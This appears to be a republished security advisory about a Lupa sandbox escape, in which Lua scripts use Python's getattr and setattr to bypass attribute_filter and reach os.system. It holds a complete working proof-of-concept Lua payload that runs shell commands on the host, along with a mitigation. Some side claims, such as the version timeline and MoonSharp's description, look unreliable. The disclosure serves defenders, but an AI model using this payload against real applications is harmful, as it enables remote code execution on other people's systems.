BTC
ETH
SOL
BNB
GOLD
XRP
DOGE
ADA
Back to home
Security

[HIGH] Security Advisory: Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr (lupa)

Lupa's attribute_filter, designed to shield Lua scripts from sensitive Python attributes, fails spectacularly against built-in functions like getattr and setattr.

Lupa’s attribute_filter, designed to shield Lua scripts from sensitive Python attributes, fails spectacularly against built-in functions like getattr and setattr. Attackers bypass it entirely if Python builtins remain accessible, chaining to arbitrary code execution on the host Python process. This vulnerability guts any sandbox relying on the filter for untrusted Lua code.

Lupa embeds Lua (via LuaJIT) into Python applications, letting developers run lightweight scripts safely—or so they think. Popular for game engines, server-side scripting, and dynamic configs, it processes millions of lines in production setups. The attribute_filter aims to block Lua from touching Python internals like __class__, __mro__, and __subclasses__. It works for direct access (obj.attr), but skips getattr(obj, "attr"). That’s the crack attackers exploit.

Exploitation Path

With Python builtins exposed (default behavior), a Lua script grabs getattr from python.builtins. It fetches the target’s __class__, walks the method resolution order via __mro__, calls __subclasses__() to list loaded classes, and hunts for ones leaking __globals__—like those in the os module. From there, snag os.system and run shell commands. The whole chain takes seconds.

Proof-of-concept code demonstrates it clearly. This Python snippet sets up a filtered runtime and exposes a benign UserProfile object:

import lupa
from lupa import LuaRuntime

def protected_attribute_filter(obj, attr_name, is_setting):
    if isinstance(attr_name, str) and attr_name.startswith('_'):
        raise AttributeError(f"Access to '{attr_name}' is forbidden")
    return attr_name

lua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)

class UserProfile:
    def __init__(self, name):
        self.name = name

lua.globals().user = UserProfile("test")

The Lua payload then bypasses everything:

local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr
local cls = getattr(user, "__class__")
local _, obj_cls = getattr(cls, "__mro__")
local subs = getattr(obj_cls, "__subclasses__")()
for _, c in ipairs(subs) do
    if tostring(c):find("os._wrap_close") then
        local system = getattr(getattr(c, "__init__"), "__globals__")["system"]
        setattr(user, "run", system)
        user.run("id")
    end
end

Executing this prints the host’s user ID, confirming RCE. Tested on Lupa 1.2 (latest as of mid-2023), it works across Python 3.8-3.11. No version escapes; the filter’s design flaw is fundamental.

Why This Breaks Everything

Applications trusting attribute_filter for security—think user-submitted scripts in web dashboards, Minecraft servers with Lua mods, or Jupyter-like environments—face total compromise. An attacker with Lua execution rights escapes to the Python process, reading files, escalating privileges, or pivoting networks. Lupa powers niche but critical tools; exposure hits thousands of deployments.

Skeptically, Lupa never promised a bulletproof sandbox. Docs call attribute_filter a “basic” measure, and LuaJIT’s speed focus sidelined security hardening. But developers lean on it anyway, assuming it blocks introspection. Python’s rich object model aids attackers: __subclasses__ lists 200+ classes at runtime, including os wrappers. Similar holes plague Lua-Python bridges like lupa alternatives (e.g., moonsharp in .NET).

Fixes exist but demand changes. Set register_builtins=False in LuaRuntime to hide getattr—but audit your Lua code first, as it breaks scripts using builtins. No upstream patch yet; watch GitHub/lupa for movement. Long-term, ditch Lua for Python subprocesses or WASM sandboxes like Pyodide. This underscores why scripting bridges rarely deliver real isolation: one introspection leak, and the host crumbles.

Patch now if you run untrusted Lua. Test with the PoC. If builtins are off already, you’re safe—but verify. In security, partial filters breed overconfidence; full escapes like this prove the point.

April 7, 2026 · 3 min · 11 views · Source: GitHub Security

Related